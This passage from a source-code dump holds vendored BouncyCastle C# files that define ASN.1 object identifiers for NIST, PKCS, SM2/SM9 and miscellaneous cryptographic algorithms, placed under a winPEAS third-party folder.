sm2encrypt.Branch("2.5"); public static readonly DerObjectIdentifier sm2encrypt_with_sha512 = sm2encrypt.Branch("2.6"); public static readonly DerObjectIdentifier sm2encrypt_with_rmd160 = sm2encrypt.Branch("2.7"); public static readonly DerObjectIdentifier sm2encrypt_with_whirlpool = sm2encrypt.Branch("2.8"); public static readonly DerObjectIdentifier sm2encrypt_with_blake2b512 = sm2encrypt.Branch("2.9"); public static readonly DerObjectIdentifier sm2encrypt_with_blake2s256 = sm2encrypt.Branch("2.10"); public static readonly DerObjectIdentifier sm2encrypt_with_md5 = sm2encrypt.Branch("2.11"); public static readonly DerObjectIdentifier id_sm9PublicKey = sm_scheme.Branch("302"); public static readonly DerObjectIdentifier sm9sign = sm_scheme.Branch("302.1"); public static readonly DerObjectIdentifier sm9keyagreement = sm_scheme.Branch("302.2"); public static readonly DerObjectIdentifier sm9encrypt = sm_scheme.Branch("302.3"); public static readonly DerObjectIdentifier sm3 = sm_scheme.Branch("401"); public static readonly DerObjectIdentifier hmac_sm3 = sm3.Branch("2"); public static readonly DerObjectIdentifier sm2sign_with_sm3 = sm_scheme.Branch("501"); public static readonly DerObjectIdentifier sm2sign_with_sha1 = sm_scheme.Branch("502"); public static readonly DerObjectIdentifier sm2sign_with_sha256 = sm_scheme.Branch("503"); public static readonly DerObjectIdentifier sm2sign_with_sha512 = sm_scheme.Branch("504"); public static readonly DerObjectIdentifier sm2sign_with_sha224 = sm_scheme.Branch("505"); public static readonly DerObjectIdentifier sm2sign_with_sha384 = sm_scheme.Branch("506"); public static readonly DerObjectIdentifier sm2sign_with_rmd160 = sm_scheme.Branch("507"); public static readonly DerObjectIdentifier sm2sign_with_whirlpool = sm_scheme.Branch("520"); public static readonly DerObjectIdentifier sm2sign_with_blake2b512 = sm_scheme.Branch("521"); public static readonly DerObjectIdentifier sm2sign_with_blake2s256 = sm_scheme.Branch("522"); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/misc/MiscObjectIdentifiers.cs ================================================ namespace winPEAS._3rdParty.BouncyCastle.asn1.misc { public abstract class MiscObjectIdentifiers { // // Netscape // iso/itu(2) joint-assign(16) us(840) uscompany(1) Netscape(113730) cert-extensions(1) } // public static readonly DerObjectIdentifier Netscape = new DerObjectIdentifier("2.16.840.1.113730.1"); public static readonly DerObjectIdentifier NetscapeCertType = Netscape.Branch("1"); public static readonly DerObjectIdentifier NetscapeBaseUrl = Netscape.Branch("2"); public static readonly DerObjectIdentifier NetscapeRevocationUrl = Netscape.Branch("3"); public static readonly DerObjectIdentifier NetscapeCARevocationUrl = Netscape.Branch("4"); public static readonly DerObjectIdentifier NetscapeRenewalUrl = Netscape.Branch("7"); public static readonly DerObjectIdentifier NetscapeCAPolicyUrl = Netscape.Branch("8"); public static readonly DerObjectIdentifier NetscapeSslServerName = Netscape.Branch("12"); public static readonly DerObjectIdentifier NetscapeCertComment = Netscape.Branch("13"); // // Verisign // iso/itu(2) joint-assign(16) us(840) uscompany(1) verisign(113733) cert-extensions(1) } // public static readonly DerObjectIdentifier Verisign = new DerObjectIdentifier("2.16.840.1.113733.1"); // // CZAG - country, zip, age, and gender // public static readonly DerObjectIdentifier VerisignCzagExtension = Verisign.Branch("6.3"); public static readonly DerObjectIdentifier VerisignPrivate_6_9 = Verisign.Branch("6.9"); public static readonly DerObjectIdentifier VerisignOnSiteJurisdictionHash = Verisign.Branch("6.11"); public static readonly DerObjectIdentifier VerisignBitString_6_13 = Verisign.Branch("6.13"); // D&B D-U-N-S number public static readonly DerObjectIdentifier VerisignDnbDunsNumber = Verisign.Branch("6.15"); public static readonly DerObjectIdentifier VerisignIssStrongCrypto = Verisign.Branch("8.1"); // // Novell // iso/itu(2) country(16) us(840) organization(1) novell(113719) // public static readonly string Novell = "2.16.840.1.113719"; public static readonly DerObjectIdentifier NovellSecurityAttribs = new DerObjectIdentifier(Novell + ".1.9.4.1"); // // Entrust // iso(1) member-body(16) us(840) nortelnetworks(113533) entrust(7) // public static readonly string Entrust = "1.2.840.113533.7"; public static readonly DerObjectIdentifier EntrustVersionExtension = new DerObjectIdentifier(Entrust + ".65.0"); public static readonly DerObjectIdentifier cast5CBC = new DerObjectIdentifier(Entrust + ".66.10"); // // HMAC-SHA1 hMAC-SHA1 OBJECT IDENTIFIER ::= { iso(1) identified-organization(3) // dod(6) internet(1) security(5) mechanisms(5) 8 1 2 } // public static readonly DerObjectIdentifier HMAC_SHA1 = new DerObjectIdentifier("1.3.6.1.5.5.8.1.2"); // // Ascom // public static readonly DerObjectIdentifier as_sys_sec_alg_ideaCBC = new DerObjectIdentifier("1.3.6.1.4.1.188.7.1.1.2"); // // Peter Gutmann's Cryptlib // public static readonly DerObjectIdentifier cryptlib = new DerObjectIdentifier("1.3.6.1.4.1.3029"); public static readonly DerObjectIdentifier cryptlib_algorithm = cryptlib.Branch("1"); public static readonly DerObjectIdentifier cryptlib_algorithm_blowfish_ECB = cryptlib_algorithm.Branch("1.1"); public static readonly DerObjectIdentifier cryptlib_algorithm_blowfish_CBC = cryptlib_algorithm.Branch("1.2"); public static readonly DerObjectIdentifier cryptlib_algorithm_blowfish_CFB = cryptlib_algorithm.Branch("1.3"); public static readonly DerObjectIdentifier cryptlib_algorithm_blowfish_OFB = cryptlib_algorithm.Branch("1.4"); // // Blake2b // public static readonly DerObjectIdentifier blake2 = new DerObjectIdentifier("1.3.6.1.4.1.1722.12.2"); public static readonly DerObjectIdentifier id_blake2b160 = blake2.Branch("1.5"); public static readonly DerObjectIdentifier id_blake2b256 = blake2.Branch("1.8"); public static readonly DerObjectIdentifier id_blake2b384 = blake2.Branch("1.12"); public static readonly DerObjectIdentifier id_blake2b512 = blake2.Branch("1.16"); public static readonly DerObjectIdentifier id_blake2s128 = blake2.Branch("2.4"); public static readonly DerObjectIdentifier id_blake2s160 = blake2.Branch("2.5"); public static readonly DerObjectIdentifier id_blake2s224 = blake2.Branch("2.7"); public static readonly DerObjectIdentifier id_blake2s256 = blake2.Branch("2.8"); // // Scrypt public static readonly DerObjectIdentifier id_scrypt = new DerObjectIdentifier("1.3.6.1.4.1.11591.4.11"); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/nist/NistObjectIdentifiers.cs ================================================ namespace winPEAS._3rdParty.BouncyCastle.asn1.nist { public sealed class NistObjectIdentifiers { private NistObjectIdentifiers() { } // // NIST // iso/itu(2) joint-assign(16) us(840) organization(1) gov(101) csor(3) // // nistalgorithms(4) // public static readonly DerObjectIdentifier NistAlgorithm = new DerObjectIdentifier("2.16.840.1.101.3.4"); public static readonly DerObjectIdentifier HashAlgs = NistAlgorithm.Branch("2"); public static readonly DerObjectIdentifier IdSha256 = HashAlgs.Branch("1"); public static readonly DerObjectIdentifier IdSha384 = HashAlgs.Branch("2"); public static readonly DerObjectIdentifier IdSha512 = HashAlgs.Branch("3"); public static readonly DerObjectIdentifier IdSha224 = HashAlgs.Branch("4"); public static readonly DerObjectIdentifier IdSha512_224 = HashAlgs.Branch("5"); public static readonly DerObjectIdentifier IdSha512_256 = HashAlgs.Branch("6"); public static readonly DerObjectIdentifier IdSha3_224 = HashAlgs.Branch("7"); public static readonly DerObjectIdentifier IdSha3_256 = HashAlgs.Branch("8"); public static readonly DerObjectIdentifier IdSha3_384 = HashAlgs.Branch("9"); public static readonly DerObjectIdentifier IdSha3_512 = HashAlgs.Branch("10"); public static readonly DerObjectIdentifier IdShake128 = HashAlgs.Branch("11"); public static readonly DerObjectIdentifier IdShake256 = HashAlgs.Branch("12"); public static readonly DerObjectIdentifier IdHMacWithSha3_224 = HashAlgs.Branch("13"); public static readonly DerObjectIdentifier IdHMacWithSha3_256 = HashAlgs.Branch("14"); public static readonly DerObjectIdentifier IdHMacWithSha3_384 = HashAlgs.Branch("15"); public static readonly DerObjectIdentifier IdHMacWithSha3_512 = HashAlgs.Branch("16"); public static readonly DerObjectIdentifier IdShake128Len = HashAlgs.Branch("17"); public static readonly DerObjectIdentifier IdShake256Len = HashAlgs.Branch("18"); public static readonly DerObjectIdentifier IdKmacWithShake128 = HashAlgs.Branch("19"); public static readonly DerObjectIdentifier IdKmacWithShake256 = HashAlgs.Branch("20"); public static readonly DerObjectIdentifier Aes = new DerObjectIdentifier(NistAlgorithm + ".1"); public static readonly DerObjectIdentifier IdAes128Ecb = new DerObjectIdentifier(Aes + ".1"); public static readonly DerObjectIdentifier IdAes128Cbc = new DerObjectIdentifier(Aes + ".2"); public static readonly DerObjectIdentifier IdAes128Ofb = new DerObjectIdentifier(Aes + ".3"); public static readonly DerObjectIdentifier IdAes128Cfb = new DerObjectIdentifier(Aes + ".4"); public static readonly DerObjectIdentifier IdAes128Wrap = new DerObjectIdentifier(Aes + ".5"); public static readonly DerObjectIdentifier IdAes128Gcm = new DerObjectIdentifier(Aes + ".6"); public static readonly DerObjectIdentifier IdAes128Ccm = new DerObjectIdentifier(Aes + ".7"); public static readonly DerObjectIdentifier IdAes192Ecb = new DerObjectIdentifier(Aes + ".21"); public static readonly DerObjectIdentifier IdAes192Cbc = new DerObjectIdentifier(Aes + ".22"); public static readonly DerObjectIdentifier IdAes192Ofb = new DerObjectIdentifier(Aes + ".23"); public static readonly DerObjectIdentifier IdAes192Cfb = new DerObjectIdentifier(Aes + ".24"); public static readonly DerObjectIdentifier IdAes192Wrap = new DerObjectIdentifier(Aes + ".25"); public static readonly DerObjectIdentifier IdAes192Gcm = new DerObjectIdentifier(Aes + ".26"); public static readonly DerObjectIdentifier IdAes192Ccm = new DerObjectIdentifier(Aes + ".27"); public static readonly DerObjectIdentifier IdAes256Ecb = new DerObjectIdentifier(Aes + ".41"); public static readonly DerObjectIdentifier IdAes256Cbc = new DerObjectIdentifier(Aes + ".42"); public static readonly DerObjectIdentifier IdAes256Ofb = new DerObjectIdentifier(Aes + ".43"); public static readonly DerObjectIdentifier IdAes256Cfb = new DerObjectIdentifier(Aes + ".44"); public static readonly DerObjectIdentifier IdAes256Wrap = new DerObjectIdentifier(Aes + ".45"); public static readonly DerObjectIdentifier IdAes256Gcm = new DerObjectIdentifier(Aes + ".46"); public static readonly DerObjectIdentifier IdAes256Ccm = new DerObjectIdentifier(Aes + ".47"); // // signatures // public static readonly DerObjectIdentifier IdDsaWithSha2 = new DerObjectIdentifier(NistAlgorithm + ".3"); public static readonly DerObjectIdentifier DsaWithSha224 = new DerObjectIdentifier(IdDsaWithSha2 + ".1"); public static readonly DerObjectIdentifier DsaWithSha256 = new DerObjectIdentifier(IdDsaWithSha2 + ".2"); public static readonly DerObjectIdentifier DsaWithSha384 = new DerObjectIdentifier(IdDsaWithSha2 + ".3"); public static readonly DerObjectIdentifier DsaWithSha512 = new DerObjectIdentifier(IdDsaWithSha2 + ".4"); /** 2.16.840.1.101.3.4.3.5 */ public static readonly DerObjectIdentifier IdDsaWithSha3_224 = new DerObjectIdentifier(IdDsaWithSha2 + ".5"); /** 2.16.840.1.101.3.4.3.6 */ public static readonly DerObjectIdentifier IdDsaWithSha3_256 = new DerObjectIdentifier(IdDsaWithSha2 + ".6"); /** 2.16.840.1.101.3.4.3.7 */ public static readonly DerObjectIdentifier IdDsaWithSha3_384 = new DerObjectIdentifier(IdDsaWithSha2 + ".7"); /** 2.16.840.1.101.3.4.3.8 */ public static readonly DerObjectIdentifier IdDsaWithSha3_512 = new DerObjectIdentifier(IdDsaWithSha2 + ".8"); // ECDSA with SHA-3 /** 2.16.840.1.101.3.4.3.9 */ public static readonly DerObjectIdentifier IdEcdsaWithSha3_224 = new DerObjectIdentifier(IdDsaWithSha2 + ".9"); /** 2.16.840.1.101.3.4.3.10 */ public static readonly DerObjectIdentifier IdEcdsaWithSha3_256 = new DerObjectIdentifier(IdDsaWithSha2 + ".10"); /** 2.16.840.1.101.3.4.3.11 */ public static readonly DerObjectIdentifier IdEcdsaWithSha3_384 = new DerObjectIdentifier(IdDsaWithSha2 + ".11"); /** 2.16.840.1.101.3.4.3.12 */ public static readonly DerObjectIdentifier IdEcdsaWithSha3_512 = new DerObjectIdentifier(IdDsaWithSha2 + ".12"); // RSA PKCS #1 v1.5 Signature with SHA-3 family. /** 2.16.840.1.101.3.4.3.9 */ public static readonly DerObjectIdentifier IdRsassaPkcs1V15WithSha3_224 = new DerObjectIdentifier(IdDsaWithSha2 + ".13"); /** 2.16.840.1.101.3.4.3.10 */ public static readonly DerObjectIdentifier IdRsassaPkcs1V15WithSha3_256 = new DerObjectIdentifier(IdDsaWithSha2 + ".14"); /** 2.16.840.1.101.3.4.3.11 */ public static readonly DerObjectIdentifier IdRsassaPkcs1V15WithSha3_384 = new DerObjectIdentifier(IdDsaWithSha2 + ".15"); /** 2.16.840.1.101.3.4.3.12 */ public static readonly DerObjectIdentifier IdRsassaPkcs1V15WithSha3_512 = new DerObjectIdentifier(IdDsaWithSha2 + ".16"); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/pkcs/PkcsObjectIdentifiers.cs ================================================ using System; namespace winPEAS._3rdParty.BouncyCastle.asn1.pkcs { public abstract class PkcsObjectIdentifiers { // // pkcs-1 OBJECT IDENTIFIER ::= { // iso(1) member-body(2) us(840) rsadsi(113549) pkcs(1) 1 } // public const string Pkcs1 = "1.2.840.113549.1.1"; internal static readonly DerObjectIdentifier Pkcs1Oid = new DerObjectIdentifier(Pkcs1); public static readonly DerObjectIdentifier RsaEncryption = Pkcs1Oid.Branch("1"); public static readonly DerObjectIdentifier MD2WithRsaEncryption = Pkcs1Oid.Branch("2"); public static readonly DerObjectIdentifier MD4WithRsaEncryption = Pkcs1Oid.Branch("3"); public static readonly DerObjectIdentifier MD5WithRsaEncryption = Pkcs1Oid.Branch("4"); public static readonly DerObjectIdentifier Sha1WithRsaEncryption = Pkcs1Oid.Branch("5"); public static readonly DerObjectIdentifier SrsaOaepEncryptionSet = Pkcs1Oid.Branch("6"); public static readonly DerObjectIdentifier IdRsaesOaep = Pkcs1Oid.Branch("7"); public static readonly DerObjectIdentifier IdMgf1 = Pkcs1Oid.Branch("8"); public static readonly DerObjectIdentifier IdPSpecified = Pkcs1Oid.Branch("9"); public static readonly DerObjectIdentifier IdRsassaPss = Pkcs1Oid.Branch("10"); public static readonly DerObjectIdentifier Sha256WithRsaEncryption = Pkcs1Oid.Branch("11"); public static readonly DerObjectIdentifier Sha384WithRsaEncryption = Pkcs1Oid.Branch("12"); public static readonly DerObjectIdentifier Sha512WithRsaEncryption = Pkcs1Oid.Branch("13"); public static readonly DerObjectIdentifier Sha224WithRsaEncryption = Pkcs1Oid.Branch("14"); /** PKCS#1: 1.2.840.113549.1.1.15 */ public static readonly DerObjectIdentifier Sha512_224WithRSAEncryption = Pkcs1Oid.Branch("15"); /** PKCS#1: 1.2.840.113549.1.1.16 */ public static readonly DerObjectIdentifier Sha512_256WithRSAEncryption = Pkcs1Oid.Branch("16"); // // pkcs-3 OBJECT IDENTIFIER ::= { // iso(1) member-body(2) us(840) rsadsi(113549) pkcs(1) 3 } // public const string Pkcs3 = "1.2.840.113549.1.3"; public static readonly DerObjectIdentifier DhKeyAgreement = new DerObjectIdentifier(Pkcs3 + ".1"); // // pkcs-5 OBJECT IDENTIFIER ::= { // iso(1) member-body(2) us(840) rsadsi(113549) pkcs(1) 5 } // public const string Pkcs5 = "1.2.840.113549.1.5"; public static readonly DerObjectIdentifier PbeWithMD2AndDesCbc = new DerObjectIdentifier(Pkcs5 + ".1"); public static readonly DerObjectIdentifier PbeWithMD2AndRC2Cbc = new DerObjectIdentifier(Pkcs5 + ".4"); public static readonly DerObjectIdentifier PbeWithMD5AndDesCbc = new DerObjectIdentifier(Pkcs5 + ".3"); public static readonly DerObjectIdentifier PbeWithMD5AndRC2Cbc = new DerObjectIdentifier(Pkcs5 + ".6"); public static readonly DerObjectIdentifier PbeWithSha1AndDesCbc = new DerObjectIdentifier(Pkcs5 + ".10"); public static readonly DerObjectIdentifier PbeWithSha1AndRC2Cbc = new DerObjectIdentifier(Pkcs5 + ".11"); public static readonly DerObjectIdentifier IdPbeS2 = new DerObjectIdentifier(Pkcs5 + ".13"); public static readonly DerObjectIdentifier IdPbkdf2 = new DerObjectIdentifier(Pkcs5 + ".12"); // // encryptionAlgorithm OBJECT IDENTIFIER ::= { // iso(1) member-body(2) us(840) rsadsi(113549) 3 } // public const string EncryptionAlgorithm = "1.2.840.113549.3"; public static readonly DerObjectIdentifier DesEde3Cbc = new DerObjectIdentifier(EncryptionAlgorithm + ".7"); public static readonly DerObjectIdentifier RC2Cbc = new DerObjectIdentifier(EncryptionAlgorithm + ".2"); public static readonly DerObjectIdentifier rc4 = new DerObjectIdentifier(EncryptionAlgorithm + ".4"); // // object identifiers for digests // public const string DigestAlgorithm = "1.2.840.113549.2"; // // md2 OBJECT IDENTIFIER ::= // {iso(1) member-body(2) US(840) rsadsi(113549) DigestAlgorithm(2) 2} // public static readonly DerObjectIdentifier MD2 = new DerObjectIdentifier(DigestAlgorithm + ".2"); // // md4 OBJECT IDENTIFIER ::= // {iso(1) member-body(2) US(840) rsadsi(113549) DigestAlgorithm(2) 4} // public static readonly DerObjectIdentifier MD4 = new DerObjectIdentifier(DigestAlgorithm + ".4"); // // md5 OBJECT IDENTIFIER ::= // {iso(1) member-body(2) US(840) rsadsi(113549) DigestAlgorithm(2) 5} // public static readonly DerObjectIdentifier MD5 = new DerObjectIdentifier(DigestAlgorithm + ".5"); public static readonly DerObjectIdentifier IdHmacWithSha1 = new DerObjectIdentifier(DigestAlgorithm + ".7"); public static readonly DerObjectIdentifier IdHmacWithSha224 = new DerObjectIdentifier(DigestAlgorithm + ".8"); public static readonly DerObjectIdentifier IdHmacWithSha256 = new DerObjectIdentifier(DigestAlgorithm + ".9"); public static readonly DerObjectIdentifier IdHmacWithSha384 = new DerObjectIdentifier(DigestAlgorithm + ".10"); public static readonly DerObjectIdentifier IdHmacWithSha512 = new DerObjectIdentifier(DigestAlgorithm + ".11"); // // pkcs-7 OBJECT IDENTIFIER ::= { // iso(1) member-body(2) us(840) rsadsi(113549) pkcs(1) 7 } // public const string Pkcs7 = "1.2.840.113549.1.7"; public static readonly DerObjectIdentifier Data = new DerObjectIdentifier(Pkcs7 + ".1"); public static readonly DerObjectIdentifier SignedData = new DerObjectIdentifier(Pkcs7 + ".2"); public static readonly DerObjectIdentifier EnvelopedData = new DerObjectIdentifier(Pkcs7 + ".3"); public static readonly DerObjectIdentifier SignedAndEnvelopedData = new DerObjectIdentifier(Pkcs7 + ".4"); public static readonly DerObjectIdentifier DigestedData = new DerObjectIdentifier(Pkcs7 + ".5"); public static readonly DerObjectIdentifier EncryptedData = new DerObjectIdentifier(Pkcs7 + ".6"); // // pkcs-9 OBJECT IDENTIFIER ::= { // iso(1) member-body(2) us(840) rsadsi(113549) pkcs(1) 9 } // public const string Pkcs9 = "1.2.840.113549.1.9"; public static readonly DerObjectIdentifier Pkcs9AtEmailAddress = new DerObjectIdentifier(Pkcs9 + ".1"); public static readonly DerObjectIdentifier Pkcs9AtUnstructuredName = new DerObjectIdentifier(Pkcs9 + ".2"); public static readonly DerObjectIdentifier Pkcs9AtContentType = new DerObjectIdentifier(Pkcs9 + ".3"); public static readonly DerObjectIdentifier Pkcs9AtMessageDigest = new DerObjectIdentifier(Pkcs9 + ".4"); public static readonly DerObjectIdentifier Pkcs9AtSigningTime = new DerObjectIdentifier(Pkcs9 + ".5"); public static readonly DerObjectIdentifier Pkcs9AtCounterSignature = new DerObjectIdentifier(Pkcs9 + ".6"); public static readonly DerObjectIdentifier Pkcs9AtChallengePassword = new DerObjectIdentifier(Pkcs9 + ".7"); public static readonly DerObjectIdentifier Pkcs9AtUnstructuredAddress = new DerObjectIdentifier(Pkcs9 + ".8"); public static readonly DerObjectIdentifier Pkcs9AtExtendedCertificateAttributes = new DerObjectIdentifier(Pkcs9 + ".9"); public static readonly DerObjectIdentifier Pkcs9AtSigningDescription = new DerObjectIdentifier(Pkcs9 + ".13"); public static readonly DerObjectIdentifier Pkcs9AtExtensionRequest = new DerObjectIdentifier(Pkcs9 + ".14"); public static readonly DerObjectIdentifier Pkcs9AtSmimeCapabilities = new DerObjectIdentifier(Pkcs9 + ".15"); public static readonly DerObjectIdentifier IdSmime = new DerObjectIdentifier(Pkcs9 + ".16"); public static readonly DerObjectIdentifier Pkcs9AtFriendlyName = new DerObjectIdentifier(Pkcs9 + ".20"); public static readonly DerObjectIdentifier Pkcs9AtLocalKeyID = new DerObjectIdentifier(Pkcs9 + ".21"); [Obsolete("Use X509Certificate instead")] public static readonly DerObjectIdentifier X509CertType = new DerObjectIdentifier(Pkcs9 + ".22.1"); public const string CertTypes = Pkcs9 + ".22"; public static readonly DerObjectIdentifier X509Certificate = new DerObjectIdentifier(CertTypes + ".1"); public static readonly DerObjectIdentifier SdsiCertificate = new DerObjectIdentifier(CertTypes + ".2"); public const string CrlTypes = Pkcs9 + ".23"; public static readonly DerObjectIdentifier X509Crl = new DerObjectIdentifier(CrlTypes + ".1"); public static readonly DerObjectIdentifier IdAlg = IdSmime.Branch("3"); public static readonly DerObjectIdentifier IdAlgEsdh = IdAlg.Branch("5"); public static readonly DerObjectIdentifier IdAlgCms3DesWrap = IdAlg.Branch("6"); public static readonly DerObjectIdentifier IdAlgCmsRC2Wrap = IdAlg.Branch("7"); public static readonly DerObjectIdentifier IdAlgPwriKek = IdAlg.Branch("9"); public static readonly DerObjectIdentifier IdAlgSsdh = IdAlg.Branch("10"); /* *
             * -- RSA-KEM Key Transport Algorithm
             *
             * id-rsa-kem OID ::= {
             *      iso(1) member-body(2) us(840) rsadsi(113549) pkcs(1)
             *      pkcs-9(9) smime(16) alg(3) 14
             *   }
             * 
    */ public static readonly DerObjectIdentifier IdRsaKem = IdAlg.Branch("14"); /** *
             * id-alg-AEADChaCha20Poly1305 OBJECT IDENTIFIER ::=
             * { iso(1) member-body(2) us(840) rsadsi(113549) pkcs(1)
             *    pkcs9(9) smime(16) alg(3) 18 }
             *
             * AEADChaCha20Poly1305Nonce ::= OCTET STRING (SIZE(12))
             * 
    */ public static readonly DerObjectIdentifier IdAlgAeadChaCha20Poly1305 = IdAlg.Branch("18"); // // SMIME capability sub oids. // public static readonly DerObjectIdentifier PreferSignedData = Pkcs9AtSmimeCapabilities.Branch("1"); public static readonly DerObjectIdentifier CannotDecryptAny = Pkcs9AtSmimeCapabilities.Branch("2"); public static readonly DerObjectIdentifier SmimeCapabilitiesVersions = Pkcs9AtSmimeCapabilities.Branch("3"); // // other SMIME attributes // public static readonly DerObjectIdentifier IdAAReceiptRequest = IdSmime.Branch("2.1"); // // id-ct OBJECT IDENTIFIER ::= {iso(1) member-body(2) usa(840) // rsadsi(113549) pkcs(1) pkcs-9(9) smime(16) ct(1)} // public const string IdCT = "1.2.840.113549.1.9.16.1"; public static readonly DerObjectIdentifier IdCTAuthData = new DerObjectIdentifier(IdCT + ".2"); public static readonly DerObjectIdentifier IdCTTstInfo = new DerObjectIdentifier(IdCT + ".4"); public static readonly DerObjectIdentifier IdCTCompressedData = new DerObjectIdentifier(IdCT + ".9"); public static readonly DerObjectIdentifier IdCTAuthEnvelopedData = new DerObjectIdentifier(IdCT + ".23"); public static readonly DerObjectIdentifier IdCTTimestampedData = new DerObjectIdentifier(IdCT + ".31"); // // id-cti OBJECT IDENTIFIER ::= {iso(1) member-body(2) usa(840) // rsadsi(113549) pkcs(1) pkcs-9(9) smime(16) cti(6)} // public const string IdCti = "1.2.840.113549.1.9.16.6"; public static readonly DerObjectIdentifier IdCtiEtsProofOfOrigin = new DerObjectIdentifier(IdCti + ".1"); public static readonly DerObjectIdentifier IdCtiEtsProofOfReceipt = new DerObjectIdentifier(IdCti + ".2"); public static readonly DerObjectIdentifier IdCtiEtsProofOfDelivery = new DerObjectIdentifier(IdCti + ".3"); public static readonly DerObjectIdentifier IdCtiEtsProofOfSender = new DerObjectIdentifier(IdCti + ".4"); public static readonly DerObjectIdentifier IdCtiEtsProofOfApproval = new DerObjectIdentifier(IdCti + ".5"); public static readonly DerObjectIdentifier IdCtiEtsProofOfCreation = new DerObjectIdentifier(IdCti + ".6"); // // id-aa OBJECT IDENTIFIER ::= {iso(1) member-body(2) usa(840) // rsadsi(113549) pkcs(1) pkcs-9(9) smime(16) attributes(2)} // public const string IdAA = "1.2.840.113549.1.9.16.2"; public static readonly DerObjectIdentifier IdAAOid = new DerObjectIdentifier(IdAA); public static readonly DerObjectIdentifier IdAAContentHint = new DerObjectIdentifier(IdAA + ".4"); // See RFC 2634 public static readonly DerObjectIdentifier IdAAMsgSigDigest = new DerObjectIdentifier(IdAA + ".5"); public static readonly DerObjectIdentifier IdAAContentReference = new DerObjectIdentifier(IdAA + ".10"); /* * id-aa-encrypKeyPref OBJECT IDENTIFIER ::= {id-aa 11} * */ public static readonly DerObjectIdentifier IdAAEncrypKeyPref = new DerObjectIdentifier(IdAA + ".11"); public static readonly DerObjectIdentifier IdAASigningCertificate = new DerObjectIdentifier(IdAA + ".12"); public static readonly DerObjectIdentifier IdAASigningCertificateV2 = new DerObjectIdentifier(IdAA + ".47"); public static readonly DerObjectIdentifier IdAAContentIdentifier = new DerObjectIdentifier(IdAA + ".7"); // See RFC 2634 /* * RFC 3126 */ public static readonly DerObjectIdentifier IdAASignatureTimeStampToken = new DerObjectIdentifier(IdAA + ".14"); public static readonly DerObjectIdentifier IdAAEtsSigPolicyID = new DerObjectIdentifier(IdAA + ".15"); public static readonly DerObjectIdentifier IdAAEtsCommitmentType = new DerObjectIdentifier(IdAA + ".16"); public static readonly DerObjectIdentifier IdAAEtsSignerLocation = new DerObjectIdentifier(IdAA + ".17"); public static readonly DerObjectIdentifier IdAAEtsSignerAttr = new DerObjectIdentifier(IdAA + ".18"); public static readonly DerObjectIdentifier IdAAEtsOtherSigCert = new DerObjectIdentifier(IdAA + ".19"); public static readonly DerObjectIdentifier IdAAEtsContentTimestamp = new DerObjectIdentifier(IdAA + ".20"); public static readonly DerObjectIdentifier IdAAEtsCertificateRefs = new DerObjectIdentifier(IdAA + ".21"); public static readonly DerObjectIdentifier IdAAEtsRevocationRefs = new DerObjectIdentifier(IdAA + ".22"); public static readonly DerObjectIdentifier IdAAEtsCertValues = new DerObjectIdentifier(IdAA + ".23"); public static readonly DerObjectIdentifier IdAAEtsRevocationValues = new DerObjectIdentifier(IdAA + ".24"); public static readonly DerObjectIdentifier IdAAEtsEscTimeStamp = new DerObjectIdentifier(IdAA + ".25"); public static readonly DerObjectIdentifier IdAAEtsCertCrlTimestamp = new DerObjectIdentifier(IdAA + ".26"); public static readonly DerObjectIdentifier IdAAEtsArchiveTimestamp = new DerObjectIdentifier(IdAA + ".27"); /** PKCS#9: 1.2.840.113549.1.9.16.2.37 -
    RFC 4108 */ public static readonly DerObjectIdentifier IdAADecryptKeyID = IdAAOid.Branch("37"); /** PKCS#9: 1.2.840.113549.1.9.16.2.38 - RFC 4108 */ public static readonly DerObjectIdentifier IdAAImplCryptoAlgs = IdAAOid.Branch("38"); /** PKCS#9: 1.2.840.113549.1.9.16.2.54 RFC7030*/ public static readonly DerObjectIdentifier IdAAAsymmDecryptKeyID = IdAAOid.Branch("54"); /** PKCS#9: 1.2.840.113549.1.9.16.2.43 RFC7030*/ public static readonly DerObjectIdentifier IdAAImplCompressAlgs = IdAAOid.Branch("43"); /** PKCS#9: 1.2.840.113549.1.9.16.2.40 RFC7030*/ public static readonly DerObjectIdentifier IdAACommunityIdentifiers = IdAAOid.Branch("40"); [Obsolete("Use 'IdAAEtsSigPolicyID' instead")] public static readonly DerObjectIdentifier IdAASigPolicyID = IdAAEtsSigPolicyID; [Obsolete("Use 'IdAAEtsCommitmentType' instead")] public static readonly DerObjectIdentifier IdAACommitmentType = IdAAEtsCommitmentType; [Obsolete("Use 'IdAAEtsSignerLocation' instead")] public static readonly DerObjectIdentifier IdAASignerLocation = IdAAEtsSignerLocation; [Obsolete("Use 'IdAAEtsOtherSigCert' instead")] public static readonly DerObjectIdentifier IdAAOtherSigCert = IdAAEtsOtherSigCert; // // id-spq OBJECT IDENTIFIER ::= {iso(1) member-body(2) usa(840) // rsadsi(113549) pkcs(1) pkcs-9(9) smime(16) id-spq(5)} // public const string IdSpq = "1.2.840.113549.1.9.16.5"; public static readonly DerObjectIdentifier IdSpqEtsUri = new DerObjectIdentifier(IdSpq + ".1"); public static readonly DerObjectIdentifier IdSpqEtsUNotice = new DerObjectIdentifier(IdSpq + ".2"); // // pkcs-12 OBJECT IDENTIFIER ::= { // iso(1) member-body(2) us(840) rsadsi(113549) pkcs(1) 12 } // public const string Pkcs12 = "1.2.840.113549.1.12"; public const string BagTypes = Pkcs12 + ".10.1"; public static readonly DerObjectIdentifier KeyBag = new DerObjectIdentifier(BagTypes + ".1"); public static readonly DerObjectIdentifier Pkcs8ShroudedKeyBag = new DerObjectIdentifier(BagTypes + ".2"); public static readonly DerObjectIdentifier CertBag = new DerObjectIdentifier(BagTypes + ".3"); public static readonly DerObjectIdentifier CrlBag = new DerObjectIdentifier(BagTypes + ".4"); public static readonly DerObjectIdentifier SecretBag = new DerObjectIdentifier(BagTypes + ".5"); public static readonly DerObjectIdentifier SafeContentsBag = new DerObjectIdentifier(BagTypes + ".6"); public const string Pkcs12PbeIds = Pkcs12 + ".1"; public static readonly DerObjectIdentifier PbeWithShaAnd128BitRC4 = new DerObjectIdentifier(Pkcs12PbeIds + ".1"); public static readonly DerObjectIdentifier PbeWithShaAnd40BitRC4 = new DerObjectIdentifier(Pkcs12PbeIds + ".2"); public static readonly DerObjectIdentifier PbeWithShaAnd3KeyTripleDesCbc = new DerObjectIdentifier(Pkcs12PbeIds + ".3"); public static readonly DerObjectIdentifier 